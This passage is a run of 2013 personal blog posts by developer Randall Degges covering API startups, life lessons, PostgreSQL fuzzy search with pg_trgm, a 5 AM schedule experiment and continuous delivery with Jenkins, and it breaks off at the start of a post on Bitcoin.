Try writing 100% test driven code. This is a great way to improve your TDD chops, improve your internal APIs, and verify you’ve got no bugs in your code. A good test suite also serves as great documentation for any future developers looking at your code, and will earn you a great reputation among your peers.

Automate testing and deployment. I find that a lot of the time, for simple or basic tasks, I tend to do a lot of one-off process runs without putting much thought into deployment and automation. By automating your testing and deployment (even for simple tasks) you’ll work out any kinks in your bootstrapping process, documentation, and re-usability. This will also save you (and your teammates) a lot of time in the long run, by avoiding any manual intervention.

Write great project documentation. This is especially true for internal projects, where you know that not many people will be looking at your code in the future. By forcing yourself to write great documentation you’ll not only make your code more useful in the future, but you’ll make maintenance easier, and have something nice to show any higher ups who are wondering what you’re working on. Writing great documentation also gives you a chance to think of your code like a user would – and improve your communication skills by clearly and simply describing what your code does, and how to use it. I’ve found that many times, writing project documentation gives me a whole new perspective on my project and helps me identify things I can do to simplify functionality, usability, etc.

Track execution metrics and stats. If the project you’re working on involves anything that has business value, you should consider hooking your code up to a dashboard type service which aggregates important metrics (I like Ducksboard). This can give you (and any other stakeholders) insight into how well things are running, how much value your code is delivering, and how much your project is being used. Other than being a great motivator (who doesn’t like seeing the fruits of their efforts?) it’s also a great way to increase your skill as a developer and strategic leader by carefully monitoring your development work.

I’ve found that by practicing the above strategies and asking myself, How hard can I possibly work on this?, I’ve come to enjoy even the simplest of tasks and dramatically improve not only my day-to-day happiness when working on projects – but also deliver more value with my work and greatly improve my skill set, one day at a time.

The next time you’re working on a project and feel frustrated that you have to do some simple work, really push yourself to see how good of a job you can do, and make a difference.

Building an API Company - A Series

r@rdegges.com (Randall Degges) — Sat, 29 Jun 2013 00:00:00 -0700

In this article series, I’m going to show you how to build an API company from the ground up, step-by-step.

I’ll be covering the entire process (in depth), so if you’re a programmer who’s always wanted to build their own company, now is your chance to stop thinking about it and start doing it! No more excuses!

Intended Audience

I really love web APIs. Unfortunately, due to the complexities involved in making web technologies, this article series isn’t for everyone.

To get the most out of this series, you’ll need to:

Be a programmer.
Be familiar with web technologies (primarily server-side stuff).
Want to build your own web company.
Be willing to follow along with the series and do a lot of work (no excuses).

Most importantly, this series is meant for people who want to do something awesome. If you’re looking for a new way to challenge yourself, expand your skill sets, and have fun along the way – you’ll enjoy the shit out of this program, and I promise you’ll be successful.

Goals

I’m writing this series for a few reasons. First off, I’ve built several API companies from the ground up. The information in this series is the sort of thing I wish I had back when I got started. It’s not marketing fluff, and it’s not purely technical talk: it’s a practical guide to building your own API company as a programmer, with little to no outside help.

Through my experience building web API companies, I’ve tried a lot of things. I’ve done some things right, and some things wrong. I’ve also made a ton of mistakes along the way. By walking you through each step along the way, and explaining the reasoning behind decisions, you’ll see the good and the bad. This way you can learn from my successes and failures, and avoid the mistakes I’ve made.

The main goal for this series is to help you build a successful API company. By the end of this series you should have:

A solid understanding of what you need to do to build a successful API company.
A launched product.
Your first hundred or so users.
Ramen profitability.
Motivation to keep moving forward.

No matter what anyone tells you, building a company is hard work. If you want to be successful, you need help, motivation, and support. No matter what stage you’re at, I’m here to help you 100%. If you need advice, have questions, or just want someone to talk to, feel free to shoot me an email anytime, so I can help out.

Why API Companies Are Awesome

Why should you build an API company in the first place, anyhow? Why not make a social network? Why not make an e-commerce site? Why not do consulting?

You’re a Coder

One of the main reasons YOU should be building an API company is that you are a programmer! All businesses exist to serve customers – that means that if your company sells medical supplies, you should probably be very familiar with the medical businesses: you should know doctors, know how they work, know what they need, know what problems they have, know how much money they have to spend, etc.

One of the most important rules of business is to know your customer. If your customers enjoy and love your product, then they’ll be happy to keep giving you their business. It’s a win-win situation.

… Which leads me to my next point …

Since you are a programmer, and APIs are meant to be consumed by other programmers, then it leads to reason that by building an API company, you are building a product for people like yourself – which means you already know your customer.

This is a huge advantage to you because you already know and understand what your customers want, what they like, what they don’t like, and how to win them over.

This is especially important for us, as we’re going to be building this company ourselves (without outside help) – so every little advantage helps! By skipping the whole customer validation process, you’ll save lots of time and energy – and you’ll be able to make progress a lot quicker than you could otherwise.

You can Automate

Another reason API companies can be great is that you don’t need a big team. You don’t need a ton of employees, you don’t need a lot of marketers, you really only need yourself.

How is this possible? Automation.

There are lots of businesses where automation just won’t work: selling cars, selling refrigerators, doing laundry, etc. With an API company, you can automate almost 100% of your business, freeing up your time to work on other things.

This means that after you’ve built your initial product, you can automate time consuming tasks like:

Scaling your web service to support customer demand.
Billing.
Marketing (more on this later).
Handling discounts.
Recovery from problems (databases dying, servers disappearing).
Taxes.

This means that it’s possible to build, run, and grow your API company on your free time, while still being able to keep up with other commitments: work, family, friends, etc.

Despite what you may hear, you can build a successful web company without killing yourself by being smart and ruthlessly automating everything.

You’re Saving Time

Another (more motivational) reason to build an API company is that you’re doing something awesome: your core product is making people’s lives dramatically simpler.

Most APIs are great because they take something complicated (making phone calls, for instance), and transform it into into something elegant and simple (e.g. Twilio). This is amazing because you’re essentially abstracting away the ugly pieces of technology necessary to make something awesome happen, and condensing it down into a simplified form that people can make better use of.

Not only will building a simple API help your customers do complicated things that were hard (or impossible) before – but these are fun problems to solve! You get to build something that will save you (and many other people like you) a lot of collective time – you’re making the world a bit more efficient!

In the case of Twilio, before they came around how many developers were spending their time slaving away writing Asterisk and Freeswitch code? How much collective time was spent writing the same dull routines over and over again? By automating tasks like these, you’re saving people from a world of boredom and repetition.

What’s not to love about that?

You In?

So, what do you think? Want to build an API company, improve your skill set, and have some fun?

Over the next few months I’ll be publishing the next articles in the series – each piece will give you a lot to think about and work on, so you’ll have homework.

As we go along, try to get involved! Write about your experiences, get your friends to build their own API company as well, and talk to as many people as you can. I can tell you from experience that one of the most effective ways to get shit done is to stay motivated – so do whatever you need to do to keep yourself involved!

Lastly, if you’d like to get in touch with me, or would like to get announcements of when new articles in the series are added, you can keep up with me via:

Let’s do this!

Twenty Five

r@rdegges.com (Randall Degges) — Fri, 28 Jun 2013 00:00:00 -0700

Today is my 25th birthday. I promise you I won’t bore you with the details of what I’m doing for my birthday, but I did want to spend a few minutes and write about some of the things I’ve learned in my first 25 years of life.

Every person will live life in their own way, so don’t take my experiences as your own – make your own decisions, and do what makes you happy.

Be Understanding

Every single person is different in some way. Each person was born into some circumstances out of their control, and their life experiences shaped them into who they are. This means that no matter how you see the world – what you think is right, what you think is wrong, what you like, what you don’t like – other people will see things differently, and there’s no changing that.

Given that everyone lives in their own little world, you should be understanding and compassionate towards others. If someone does something rude to you, don’t feel offended – just realize that each person is who they are, and try to accept them the way they are.

There’s no point in trying to change people or convince them to act a certain way. If people want to change, they’ll do it of their own accord. So be understanding.

Don’t Waste Your Time On People You Don’t Like

If you don’t like someone, end the relationship quickly. Whether it’s a business partner, a friend, a stranger, an acquaintance, whatever – if you don’t like the person, don’t spend time with them!

I can’t tell you how many times I’ve let relationships drag on for far too long, allowing them to suck away my energy and drain my happiness, and for what? To make the other person comfortable? To make them like me? To avoid an uncomfortable situation? It’s just not worth it. Life is way too short.

If you can tell you don’t like someone, make an immediate decision to exit that relationship. This will not only free up your time, but will save you from a lifetime of stress and unhappiness.

Trust Your Instinct

There have been many occasions where I’ll be doing something (working, speaking with someone, etc.) and get a tingling feeling in my stomach. I then start feeling nervous.

I’ve come to realize that this specific feeling is my instinct telling me that whatever is about to happen, it isn’t good. Unfortunately, I’ve only recently learned this.

Don’t make the same mistakes as me. If your instinct is telling you something bad is going to happen, listen. Don’t work on projects you know will fail, don’t work on things you don’t believe in, and don’t allow other people to push you into accepting things you don’t want to accept.

Read Personal Development Books

One of the best ways you can improve yourself is to be conscious of your thoughts and actions. While it may sound cheesy, reading personal development books is a great way to make you think about yourself in different ways, and encourage you to become a better person.

It doesn’t matter what you start with, just that you start. Pick up a book on meditation, a book on happiness, a book on organization, a book on procrastination, and a book talent (to start). Read them through, and think about how you can change yourself to make yourself better in each of those areas.

Don’t Listen to Other People

Instead of listening to someone’s words, observe their actions. Everyone loves to talk about things, but very few people like to do things.

Finding genuinely amazing people can be hard if you only listen to a person – by observing their actions, you can see their greatness.

This is an incredibly hard thing to do, but it pays off substantially. If you befriend great people who do things (as opposed to just talking about them), do whatever it takes to hold onto those relationships – those are the type of people you want to make long term connections with.

If You’re Going to Do Something, Do It All the Way

It’s really easy to half-ass things. Whether it’s working out at the gym, dieting, finishing your project, helping your user, whatever.

There are always a million little voices inside your head saying “You’ve done good so far, you deserve a rest! Stop working on this!” It’s really easy to have pity on yourself and do a lousy job.

There’s always one voice that says to keep going. Listen to that voice.

If you work hard at things, you’ll feel happier with the outcome, and you won’t have any regrets.

Character Isn’t Built From Success

You are never going to become the man you want to be if you constantly succeed at things. Character isn’t built from success, it’s built from failure. Character is made when your back is up against the wall, you’re pressured, and you’ve got to make a decision.

The choices you make directly effect the person you are – make the right choices. And don’t be afraid to take risks.

Accept Reality

Unhappiness is derived from expectations.

If you expect other people to let you merge into the next lane over, you’ll be unhappy when the guy next to you speeds up to prevent you from getting over.

The solution here (of course), is simple: accept things as they are – don’t create an alternate reality and expect things to work exactly the way you want them to. Life is chaotic – things won’t always turn out according to your expectations.

If you want to be happy, then you have to work at it. Let go of your expectations, and embrace things the way they are. The only thing you can really control in this world is yourself. Make good decisions, live your life the way you want, and be accepting of outside influences that you can’t control. This is the key to happiness.

Keep Your Promises

If you make a promise, keep it. Make it a point to always do things you say you’re going to do, and people will (over time) learn to respect you.

This is a lot easier said than done.

Before you say you’ll do something, think very carefully about what you’re committing to. Try to be very picky about what you say you’ll do, and always deliver.

Final Thoughts

I spend a lot of time thinking about how to better myself. Over time, I’ve come to realize that the real fun in living is constantly improving yourself.

When I’m not actively working to improve myself, I just don’t feel happy. To me, the momentum of moving forward each day is what drives me to continue living, working, and enjoying my life.

Over the next 25 years I’d like to keep moving forward: be healthier, happier, more compassionate, smarter, and more open minded.

Life is a crazy journey, but I’m enjoying it so far :)

Easy Fuzzy Text Searching With PostgreSQL

r@rdegges.com (Randall Degges) — Wed, 12 Jun 2013 00:00:00 -0700

I’ve been using PostgreSQL for the past few years as my primary database of choice. I figured I’d take a moment to write about one of the coolest features I use on a daily basis, that you may find interesting (if you’re not already using it).

NOTE: I use Heroku Postgres to host all my PostgreSQL instances – so these instructions will work for you if you’re using Heroku Postgres. If you’re not, your mileage may vary (depending on your server setup).

Fuzzy Text Searching

Fuzzy text searching is fucking awesome. Let’s say you’ve got a table in your database that contains a list of people and their names, for example:

d51job1rstb2g=> SELECT first_name FROM people WHERE first_name LIKE 'Gar%' LIMIT 9;
 first_name
------------
 Gary
 Gary
 Gary
 Garden
 Gary
 Gary
 Garfield
 Gar
 Gary
(9 rows)

Now, let’s say you now want to grab everyone whose name is similar to Gary. This could be tricky to do unless you have fuzzy text searching available in your database – right?

There’s no built in way to tell your database “Hey! Give me a list of all the people whose first name is similar to ‘Gary’”.

This is where fuzzy text searching rocks – it does the similarity matches for you, so that you can tell your database something like the above.

It’d be ideal if we could do something like:

d51job1rstb2g=> SELECT first_name FROM people WHERE first_name % 'Gary' LIMIT 10;
 first_name
------------
 Gary
 Gary
 Calgary
 Gary
 Gary
 Gary
 Geary
 Gar
 Garage
(10 rows)

As you can see above, I just used a made up operator (%) which allowed me to select a bunch of fuzzily matched text strings similar to the word Gary – and it worked!

PostgreSQL Fuzzy Text Searching

So now the question is: How can we make PostgreSQL support fuzzy text searching? The answer is actually pretty simple: pg_trgm.

pg_trgm is a PostgreSQL extension which ships with PostgreSQL, and only needs to be activated once on your database so that you can use it.

To activate it, just run:

CREATE EXTENSION pg_trgm;

On your PostgreSQL server – and bam – you now have fuzzy text searching capabilities!

What’s especially awesome about the pg_trgm extension is that it works anywhere a LIKE statement would work. This means that you can make use of fuzzy text searching pretty much anywhere you want – and it involves very few changes to your code base!

Let’s say you’ve got a table of businesses, and one of the columns in your businesses table is categories – an ARRAY column which stores business categories:

d51job1rstb2g=> SELECT name, categories from businesses WHERE 'Zoos' = ANY(categories) LIMIT 5;
 name | categories
-------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------
 ANIMAL HOUSE EXOTIC ANIMALS & OSTRICH FARM | {Zoos}
 LITTLE ROCK ZOO | {Zoos,"Zoos & Wildlife Conservancies"}
 TURPENTINE CREEK WILDLIFE REFUGE | {"Wildlife Refuges & Sanctuaries","Campground & Recreational Vehicle Parks","Amusement Places",Zoos,"Wedding Ceremony Locations"}
 U S 65 THE ZOO | {Zoos}
 RIDDLE'S ELEPHANT BREEDING FARM & WILD LIFE SANCTUARY | {"Wildlife Services","Wildlife Refuges & Sanctuaries","Wildlife Removal & Preservation",Zoos}
(5 rows)

In the example above, we did an exact search to find any businesses who have a category that is equal to the string Zoos.

Now, if we want to enable fuzzy text searching on our ARRAY search, we can do so easily (just like we did in our previous example):

d51job1rstb2g=> SELECT name, categories from businesses WHERE 'zoo' % ANY(categories) LIMIT 5;
 name | categories
-------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------
 ANIMAL HOUSE EXOTIC ANIMALS & OSTRICH FARM | {Zoos}
 LITTLE ROCK ZOO | {Zoos,"Zoos & Wildlife Conservancies"}
 TURPENTINE CREEK WILDLIFE REFUGE | {"Wildlife Refuges & Sanctuaries","Campground & Recreational Vehicle Parks","Amusement Places",Zoos,"Wedding Ceremony Locations"}
 U S 65 THE ZOO | {Zoos}
 RIDDLE'S ELEPHANT BREEDING FARM & WILD LIFE SANCTUARY | {"Wildlife Services","Wildlife Refuges & Sanctuaries","Wildlife Removal & Preservation",Zoos}
(5 rowss

This time, we did a fuzzy text search for the word zoo, and got back the same results! Nice, right?

The thing to keep in mind here is that you can use the fuzzy text search operator (%) anywhere you would a LIKE statement (or any other selection type statement).

Performance Considerations

Using the built in pg_trgm extension is a great way to quickly support fuzzy text searching on your existing data without having to do any special work. The drawback, of course, is that this method is a lot slower than using an external search service with proper indexes (Solr, Elastic Search).

In my experience, if you’re running small to mid-sized services, however, pg_trgm is a perfectly suitable solution – it’s easy, adds no additional maintenance work, no additional servers, etc.

The next time you’re looking to do fuzzy text searching, don’t stress it! Just use pg_trgm and move on with your life >:)

Got any questions? Feel free to shoot me an email, would be happy to help.

Fearless

r@rdegges.com (Randall Degges) — Fri, 24 May 2013 00:00:00 -0700

Ever seen a truly fearless person? If so, you’re likely one of the few people on earth who have.

Truly fearless people are incredibly rare. Having the courage, willpower, and dedication to your goals to face them without fear is something that not many people are willing to do. Being able to crush whatever obstacles are in your way (regardless of how large and imposing they are) is an almost insurmountable task – for anyone.

Life will constantly throw obstacles into your path – how will you react to them?

In today’s world, you grow up being taught how to fear:

You must obey all the arbitrary laws imposed by the government under which you were born.
You must go to school, and force yourself to perform to a certain level or else you’ll face the wrath of parents, teachers, and society.
You must take these pills to stay healthy, or else fear that you’ll get whichever disease is most talked about at this point in time.
You must keep quiet about things that you know are wrong, otherwise you’ll face punishment by society.

There’s truly a never ending list of fears that modern society instills in you from birth. Is it all planned? One big conspiracy to keep the average person living in a bubble? Of course not, but that doesn’t mean it isn’t happening.

The average person will grow up with such a fear-based view of the world that it’s incredible anyone ever breaks out of the mold at all.

I’ve been mulling this over for the past several years – what is life about, anyway? Why must we (as individuals) live to a certain standard? Why can’t we make our own decisions and live freely without worrying what other people will think of us?

Allowing yourself to be held back by your fears is an incredibly draining thing. If you constantly question your thoughts and actions, instead of living the life you want to live, you’ll end up living a life you’ve been forced to live.

There’s nobody out there fighting for you except you. Nobody will tell you that you need to start living your life the way you want to. It’s all up to you.

Instead of making decisions based on your fears, maybe it’s time you decide who you want to be. Not what you want to be like, but who you want to be. When you decide who you want to be, don’t sell yourself short. Give it everything you’ve got.

If you’re 300lbs overweight and want to become a bodybuilder, the only person holding you back is you. Don’t be afraid of what other people think – get out there, and do whatever needs to be done to reach your goals. It’s going to be hard work. People are going to say all sorts of things. But do you want to continue living your life the way it is – wanting more, but being too afraid to chase after your dreams? Or do you want to suck it up, say fuck it, and fight your way to the top? Which will it be?

You’ve only got one life to live. You might as well live fully and die knowing you’ve stayed true to yourself and your ambitions. I know that I’d be able to die in peace knowing that I didn’t care about the rest of the world and spent all of my effort doing what I think is right, regardless of what others think.

5 AM

r@rdegges.com (Randall Degges) — Wed, 22 May 2013 00:00:00 -0700

All my life, I’ve been the sort of person that likes to sleep until 2pm, then wake up and do things. For as long as I can remember, I’ve been more awake and active at night than during the day.

Being awake at night just feels natural to me. It always has.

Starting two weeks back, I decided to change things up a bit, and try something new. Instead of waking up at 1 or 2pm each day, I made a commitment to myself that for a month I’d wake up at 5am, Monday through Friday.

But that’s not all.

On top of that, I made a new schedule for myself as well. While I normally don’t stick to any formal schedules, I decided that in an attempt to force myself out of my comfort zone (and become a more awesome dude), I’d push myself extra hard this month by following a strict schedule, and maintaining an intense daily routine.

I’d like to use this opportunity to chronicle my experiences so far, so that I have something to look back on in the coming months.

Why Do This?

I have a somewhat freaky obsession with personal development. The idea of improving oneself both physically and mentally really appeal to me.

To that end, I’m constantly trying new things to up my game. I lift a lot of weights, diet hard, focus intently, and try to be as effective as possible with my work and fun projects.

All that aside, one of the few things I haven’t seriously tried over the years has been forcing myself to stick to a strict schedule. Maybe it’s my almost hilariously nonconformist attitude about everything, but the very idea of a structured, scheduled day seems like an incredibly dull way to live.

When I think about working a typical 9 to 5 job, my brain seems melt a little (luckily, I work for a company I co-own, which is pretty great).

Anyhow, back to the point. I decided that since I haven’t seriously tried maintaining a strict schedule, this would be an excellent way to force myself to try something new, get uncomfortable, and (hopefully) advance myself.

At the very least, my goal for this experiment is to measure my productivity over a decent length of time, and see:

How well I can hold up to a schedule.
How much I can produce (in terms of both work and personal projects).
If I’m able to successfully balance my existing commitments and life with my new schedule (I’m married, after all).

To help me kick start my new schedule and give myself the highest odds of success, I also decided to flip my sleep schedule around. My reasoning here was that since I normally wake up in the afternoon (and have lots of work email / phone calls to deal with), forcing myself to wake up early AND maintain a new schedule would allow me to squeeze a lot more out of my days by giving myself plenty of uninterrupted time in the mornings to focus on my new schedule and get as much done as possible.

Getting Into the New Schedule

The first problem I had was forcing myself to bed early enough so that I could wake up at 5am reasonably well. Since I planned this all out, and, knowing myself, realized it would be nearly impossible to force myself to bed at 8pm each night – I decided to cheat: I took a sleeping pill.

The night before I started my new experiment, I took a sleeping pill at ~6:30pm, and eventually crawled into bed around 7:30pm and fell asleep by 8, leaving me with a solid 9 hours of rest so I’d be fresh for the first day.

NOTE: The sleeping pill method actually worked really well for me. Those things are pretty damn strong, and my first day into the new schedule was really easy to get through since I was fully rested. Occasionally (through the next two weeks) I took another sleeping pill to help myself get to bed early (my internal clock seems to force me to bed later and later every night).

In terms of my days (I only planned Monday through Friday, I left Saturday and Sunday open as free days), I decided to structure them as you can see below:

5:00am - 5:30am Wake up.
5:30am - 7:00am Go to the gym, lift weights, and do some stair master afterwards.
7:00am - 7:30am Breakfast and reading.
7:30am - 8:30am Two pomodoro worth of personal projects.
8:30am - 9:30am Break (relax, write, read, whatever).
9:30am - 1:30pm Do work (in pomodoro).
1:30pm - 2:30pm Lunch break!
2:30pm - 4:30pm Do work (in pomodoro).
4:30pm - bed Free time.

As you can see above, the proposed schedule leaves me with a solid 6 hours of uninterrupted work each day (that’s a lot of programming time), a full hour of personal project time, and plenty of free time.

NOTE: If you have no idea what a pomodoro is, don’t feel bad. It’s essentially a 25 minute block of time where you intently focus on a single task without distraction. If you’ve never read the book The Pomodoro Technique, you should – it’s awesome.

Gym

Getting into the groove for my new gym routine wasn’t hard at all. Before starting this experiment, I was already used to going to the gym immediately after waking up (with the exception of occasionally answering important work email first).

Since I started waking up early, I haven’t checked my work email at all in the morning, so it’s been really easy to jump out of bed, brush my teeth, chug a protein shake, and head out to the gym.

Personal Projects

Working on my personal projects after the gym has been easy and fun. I love working on side projects, they keep me happy and make me feel productive – spending an hour on them in the morning has been great.

Previously, I found it really difficult to squeeze time into my day to work on fun projects. It is way too easy to wake up late in the day, and immediately be bogged down by work email, urgent phone calls, and all other sorts of madness.

The way you start your day also really affects how awesome (or shitty) your day is going to be. I’ve had plenty of days where as soon as I wake up I’m inundated with phone calls and emergencies. It’s really easy to let stressful mornings like that ruin the rest of your day, and it’s happened to me way too much.

Getting an early start and having plenty of uninterrupted time to hack on my personal projects always gets me into a great mood. By the time I actually start my work later in the day, I’ve already:

Gone to the gym and gotten in a good workout.
Worked on something important to me personally, and made good progress.
Had a bit of time to relax, read, write, and spend some quiet time alone.

So far, my hour of personal project time every morning has become the most cherished part of my new schedule, and has really made a huge difference in my day to day happiness.

Work

Before starting this experiment, my work schedule was usually very chaotic.

Instead of spending blocks of time dedicated to working (I work from home), I’d instead spend most of my day in reactionary mode: writing code that needed to be built, handling customer email, working on various projects, having meetings, etc.

Doing things the old way was partially good, and partially bad. It was good in that I had absolute freedom (most of the time) in terms of what I was doing at any given moment. It was bad in that I spent a lot of the time reacting to things instead of getting things done.

Over the past few months I ended up working 12+ hours a day, as I never had any sort of schedule, and instead of working for a few hours and stopping – I’d just continuously be working on things. My default state was always working.

Unfortunately, while I’ve always known my practices weren’t optimal, it wasn’t until these past few weeks that I realized just how bad things really were.

Since starting my new schedule, I’ve specifically moved all customer facing things (phone calls, email, etc.) back until after my lunch break. For the first four hour block of time I spend working (~9:30am - 1:30pm), I exclusively write code in little pomodoro blocks.

After lunch, where I have two more hours of work scheduled, I’m a bit more flexible – if there’s anything important that needs to be done (non-coding wise), then I’ll do it (phone calls, etc.).

This change has been profound.

Instead of spending an enormous amount of time each day responding to work events, I’m instead making a ridiculous amount of progress each morning without interruption, and finishing an immense amount of work in really short blocks of time.

At first, it was definitely hard to stay focused for a four hour block, but I’ve found that with the right music and right pomodoro app on my phone, it’s become much easier (and more rewarding).

It’s a great feeling to have lunch half way through the day knowing you’ve already accomplished a ton of stuff. My stress levels are lower, I feel happier, and I’m getting way more done than I used to.

There’s also something really relaxing about knowing that I don’t even need to keep a Gmail tab open in my browser until after lunch – no alerts, no nothing.

Free Time

After my six hours of work are up, I have free time until I go to bed. Since starting my new schedule, I’ve used this time for a variety of things.

I’d say that so far, about 50% of my free time has been spent continuing my work on various things – sometimes this means doing Google Hangouts with co-workers, sometimes this means hacking on interesting bits of code, and sometimes it just means reducing technical debt.

With the rest of my time, I’ve done a mix of different things:

Go for a long bike ride with my wife. We just got new bikes, so this is pretty high up on the list.
Cook dinner and watch a movie. This is really relaxing, especially after spending all day being productive. Sometimes I just need to completely zone out for a couple of hours and recuperate on the couch.
Spend time writing or reading. Most of this article was written last night after work.
Hacking on my side projects.

In the future, I’d like to shift things around such that after my six hours of work are finished, I’m done for the day and will instead do other fun things. I think this would be a good way for me to avoid burning out in the long term, as I spend a ton of time and energy working, and six hours of solid, focused work seems like the upper limit of what I’m currently able to handle per day.

Results

So far, I’ve really enjoyed my new schedule. At this point in time, it’s clear that adhering to a strict schedule has greatly boosted my productivity, increased my day to day happiness, and made me feel a lot more awesome.

The downsides so far have been that I’ve been more inaccessible to my wife, and less flexible with free time – but I think that over time, this will improve as both of us will get used to the new schedule, and find better ways to maximize our free time together.

So for now, the experiment has been a huge success. I’ll report back in the next several weeks after my first month is finished up, and I’m able to better evaluate the overall results.

Got any questions? Feel free to shoot me an email.

CD

r@rdegges.com (Randall Degges) — Tue, 14 May 2013 00:00:00 -0700

There are certain practices every programmer learns at one point or another, which greatly improve their productivity. All the best productivity hacks for programmers are obvious things (in retrospect), but sometimes having them explained to you and presented in a direct way will trigger the Oh yeah! I should be doing that! light bulb which eventually leads you to implementing these practices.

Continuous Delivery (CD) is one of those practices.

When I first learned about CD (via The Pragmatic Programmer), the light bulb clicked in my head. While the concept is certainly not special in any way – after all, everyone knows and understands that automatically deploying code you write into production is something that’s possible – it never really hit home to me as being incredibly useful until I read the book and got the full concept explained to me in simple terms.

CD is something every programmer should be using 100% of the time, without exception.

Preface

From the time I first learned about CD (~4 years ago) until last week, I honestly never thought I’d be writing about the subject. When I first learned about the concept of deploying your code automatically into production, it immediately seemed obvious to me why this was such a great idea, and I never even questioned in afterwards.

The concept seemed so simple that I figured everyone except for me must have known this all along, and that there was never a reason to share the practice with anyone else since it’s so obvious (in retrospect).

It wasn’t until last week when I was working on a small work project, without practicing CD, that I realized how annoying programming without CD is, and how important it is that every programmer know about (and practice) CD for all their projects, all the time.

With that said, here we go :)

Continuous Delivery

The concept of CD is simple: each time you write code, it is deployed automatically into your production environment.

This can mean a lot of things (so I’ll elaborate).

Let’s say you’re writing a web application and using Git to store your source code. If you wanted to start using CD, you’d need to set up your environment such that each time you push code to your Git repository, that code is automatically deployed to your web servers so that your new code is running live.

Let’s say you’re writing some desktop software, something like iTunes – In this case, CD might mean that every time you push new changes of your code to your Git repository, a new binary of your software is built, and distributed to your download servers, such that all customers who are checking for updates will automatically download the latest release.

Regardless of the type of software you’re writing, CD has several enormous benefits that will help you become a better (more productive) programmer.

Don’t Break the Build

One of the most obvious benefits of using CD is that it forces you to not break the build. This is something that (horrifyingly) seems to happen in programming projects all over the world, which can (for the most part) be easily solved with CD.

Let’s say you’re working on a project with three other developers. Your goal is to add a couple of features to the company website. Each of you starts working on one feature.

You notice that one of the developers has been pushing lots of code to your GitHub repository, but that all of his commits are breaking the main website. This is causing problems for you, as before you can push your changes to GitHub, you have to merge his unfinished (broken) changes into your code, which makes you unable to test your changes out to see if they’re working or not.

Frustrating.

When you’re using CD, pushing broken code to your repository is unacceptable, as these changes will be immediately deployed live (for the world to see!).

Imagine running an enormous website and pushing a change that crashes the site and prevents you from getting 500,000 new visitors – that’s a huge mistake!

Using CD forces you to make small, functional, incremental changes to your code base. Not only will this practice ensure your code base is always in a usable, working state, it will greatly improve the overall quality of your project, reduce frustration in team settings, and force you to improve your programming skills by always keeping your code base in working condition.

Maintaining a working code base is hard work! But it’s fun, challenging, and extremely useful to all involved.

Less Shit Work

Last week, I started working on a small project for work. Specifically, I was writing a web scraper which iterates over millions of web pages and downloads the content in structured form.

When I started the project, I was aiming to get things going as quickly as possible, and so, for the first time in a long while, I decided to just start hacking the code locally on my laptop and ignore all the other stuff I normally do (setting up CD, etc.).

Once I had a very basic program in working order, I created an EC2 server to run my code, logged into the server, copied my new code over to the server, and started running the scraper.

All was good! … Until the next day.

The next day I realized I had forgotten to do some important type conversions – the latitude and longitude data points I was scraping were being stored as strings, which ended up feeding poor data into my consuming applications.

So, naturally, I:

Went back onto my laptop and fixed the issue.
Tested the change on my laptop.
Opened up the EC2 web console to find the server credentials.
Logged into the server I provisioned the day before.
Manually copied my updated code over onto the server.
Stopped the running copy of the old web scraper.
Ran my new web scraper code.
Logged out of the server.

All in all, that took about 45 minutes, 20 of which were spent moving my code from my laptop back to the server and re-running my web scraper (and then making sure it didn’t crash).

Over the next several days, I ended up making several more changes to my web scraper, each time requiring me to spend about 20 minutes deploying my code to the server manually.

After the 5th day of this, I was dreading making anymore changes to the project. It was then that I remembered one of the golden rules of software development: use CD!

30 minutes later I had configured my CD software, Jenkins, to automatically deploy my code every time I pushed changes to the project. What a relief.

The rest of the week was a lot nicer. In just 30 minutes I had automated 4 hours of manual labor – that’s a lot of time to save (for just 5 days of work!). Imagine how much time you can save using CD if your project is being developed for weeks – or months!

In addition to the removal of a lot of shit work from your day, you’re also freeing your mind up for more important tasks.

As I was working on my project, even though I spent about 20 minutes deploying my code each time I made a change – the reality is that those 20 minutes of wasted time were probably more like an hour. Each time I went to manually deploy my new code I had to get out of the flow of my work to do the deployment, then had to spend some time afterwards to get back into the zone and resume whatever important task I was working on next.

Over the past 4 years or so, using CD in my projects has likely saved me from thousands of hours of shit work, and greatly increased my personal productivity on a day to day basis.

Clear Value

Another (more public) benefit of using CD in your projects is that you’re able to clearly deliver value to whatever stakeholders you may have.

If you’re building a project that customers use, for instance, each time you push changes to your code your customers will see the fruits of your labor. Not only will they be seeing the value for which they’re paying you quicker, but they’ll likely be more engaged with your product as they can see it evolve right before their eyes.

If you’re doing freelance work, using CD is an excellent way to clearly show your customers exactly what they’re paying for, and help prevent frequent update meetings which are primarily a drain on time (for everyone involved).

Continuous Delivery Suggestions

We’ve talked about why CD is great, and hopefully I’ve convinced you to start practicing CD with all your projects. If you’ve never before set up any CD software, you’re likely curious about how to do so – so let’s talk about that.

Software Choices

You’ve got a lot of different options out there when it comes to setting up CD for your projects.

At the simple end of the spectrum, your source control software probably supports simple hooks (for instance: Git Hooks). Stuff like this will allow you to write a small script that will fire each time you commit code to your repository – a great (simple) way to ensure that every time you push code, your code is deployed live.

The downside to using simple hooks described above is that they’ll frequently slow down your work – if I had to wait 5 minutes for my software to deploy each time I committed code, I’d go insane!

A slightly more complicated (but not by much) approach is to use a service like Travis CI. Travis will automatically download your projects every time you commit code, and then run a script to do stuff (usually run your unit tests, etc.). This gives you a relatively simple (free) way to deploy your code live after each commit. Neil Middleton wrote a great post on the topic which you can use as a guide.

At the end of the spectrum, you’ve got open source options like Jenkins. If you’d like to privately deploy code in as asynchronous a manner as possible, Jenkins really can’t be beat.

To use Jenkins, you’ll need to install it on a server, then use the Jenkins web interface to add each of your projects and configure them. Much like Travis CI, Jenkins will download your code after each commit, and then run arbitrary commands on your code to run tests, deploy it, etc.

For all my work, I tend to use Jenkins to automatically deploy my projects, as it’s cheap (free), reliable, and easy to configure.

Other Resources

If you’re looking for other resources which talk about CD in depth, you may want to give the following books a read – they’re extremely great books, and I’d highly recommend them to any software developer who hasn’t already read them:

While the concept of continuous delivery is a simple one, it’s an extremely practical, simple, and useful tool that every programmer should have in their arsenal. The next time you start a project, be sure to get continuous delivery working from the very beginning, and save yourself from a lot of wasted time.

Some Thoughts on Bitcoin

r@rdegges.com (Randall Degges) — Sun, 28 Apr 2013 00:00:00 -0700

Last month I started actually using bitcoin for the first time. I’ve used it in the past, but never had any serious interest in the stuff until recently. Since I’m a relatively new bitcoin user (and software developer), I thought I’d share my thoughts about bitcoin at this early stage, for any of you with similar backgrounds and interest in bitcoin.

